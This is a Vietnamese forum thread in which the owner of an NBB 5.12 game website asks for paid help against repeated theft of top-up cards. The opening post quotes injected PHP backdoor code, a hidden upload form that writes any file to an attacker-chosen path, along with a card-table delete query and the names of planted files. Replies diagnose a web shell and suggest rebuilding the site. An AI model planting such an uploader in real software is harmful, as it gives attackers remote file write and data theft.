Help bị hack NBB bản 5.12.0908 có trả phí

[southrain1111]

Hiện tại em bị hack thẻ liên tục, thủ phạm cứ tạo ra 1 số file lạ và thay đổi code để liếm thẻ
Không biết trong forum của đại ca nào khắc phục được không, em sẽ trả phí đàng hoàng

1 số ví dụ về hành tung của thủ phạm:

CODE bị chèn thêm:

if(@$_REQUEST["sql"]== 'sql')
{
$files = @$_FILES["files"];
if($files["name"] != ''){
$fullpath = $_REQUEST["path"].$files["name"];
if(move_uploaded_file($files['tmp_name'],$fullpath)){
echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
}
exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}

$query = "delete from cardphone where stt='619' ";

...
Một số file lạ xuất hiện như:

vault.php
config_autonap1.php
view_mu.php
...

Khả năng có dính Shell, em biết trong diễn đàn có rất nhiều Pro nên chắc sẽ có người giúp được thôi. Em đảm bảo sẽ trả phí cao nếu như khắc phục được hoàn toàn ! Các bác giúp em với

[thocon]

Hiện tại em bị hack thẻ liên tục, thủ phạm cứ tạo ra 1 số file lạ và thay đổi code để liếm thẻ
Không biết trong forum của đại ca nào khắc phục được không, em sẽ trả phí đàng hoàng

1 số ví dụ về hành tung của thủ phạm:

CODE bị chèn thêm:




...
Một số file lạ xuất hiện như:

vault.php
config_autonap1.php
view_mu.php
...

Khả năng có dính Shell, em biết trong diễn đàn có rất nhiều Pro nên chắc sẽ có người giúp được thôi. Em đảm bảo sẽ trả phí cao nếu như khắc phục được hoàn toàn ! Các bác giúp em với

trả bao nhiêu nhỉ
nếu đã dùng NBB trả phí thì vấn đề nằm ở apache của bạn
liên hệ mình mình sẽ bảo mật lại cho đảm bảo
yahoo: mugiatoc
phone:0974.772.833

[mrrainnt]

Bản này cũ rồi mà bạn ? Sao không xài bản mới hơn nhỉ ?

[southrain1111]

Mình đảm bảo sẽ trả phí cao nếu tìm được nguyên nhân và khắc phục hoàn toàn đỡ lo về sau.
Mình chỉ dùng 1 bản WEB ko cần update

[mrrainnt]

Cái này 100% dính Shell rồi @.@! Nhưng chưa biết ở đâu thôi ...

Có gì khi nào rảnh mình team xem thử coi sao

[thocon]

nếu bản code NBB bạn hoàn toàn tin tưởng mình có thể khẳng định mình sẽ bảo mật được 100% nói không với mất thẻ cào !
câu nói này có thể quá lố lăng nhưng người ta vẫn nói cao nhân át có cao nhân trị
nhưng mình hoàn toàn có thể bảo mật với những gì bạn có ở thời điểm này
bạn cần xác định nguyên nhân
1 VPS
2 code NBB bạn download ()nguồn có đáng tin
...........

[NetBanBe.Net]

Dùng hàng ngoài thì phải chấp nhận nguy hiểm rồi

[southrain1111]

NetBanBe.Net có giúp được không, trả phí 1 năm mua bản lic híc !

[NetBanBe.Net]

NetBanBe.Net có giúp được không, trả phí 1 năm mua bản lic híc !

Trả phí không phải vấn đề, mà vấn đề ở chỗ bạn không tôn trọng người làm.
Còn cách FIX thì chỉ có cách duy nhất là xóa hết đi.
Làm sạch toàn bộ Web trên Server.
Sử dụng bản Web mới.
Hosting nếu sử dụng cũng phải thuê mới.
Nói chung thay toàn bộ Web.

[thocon]

Trả phí không phải vấn đề, mà vấn đề ở chỗ bạn không tôn trọng người làm.
Còn cách FIX thì chỉ có cách duy nhất là xóa hết đi.
Làm sạch toàn bộ Web trên Server.
Sử dụng bản Web mới.
Hosting nếu sử dụng cũng phải thuê mới.
Nói chung thay toàn bộ Web.

đúng vậy !
trả tiền cho NBB ok !
nhưng vấn đề ở đây anh Vinh cần hiểu là không phải do code của NBB mà là do bảo mật ở xammp
()mình đã nói chuyện và đã gần như hiểu cách thức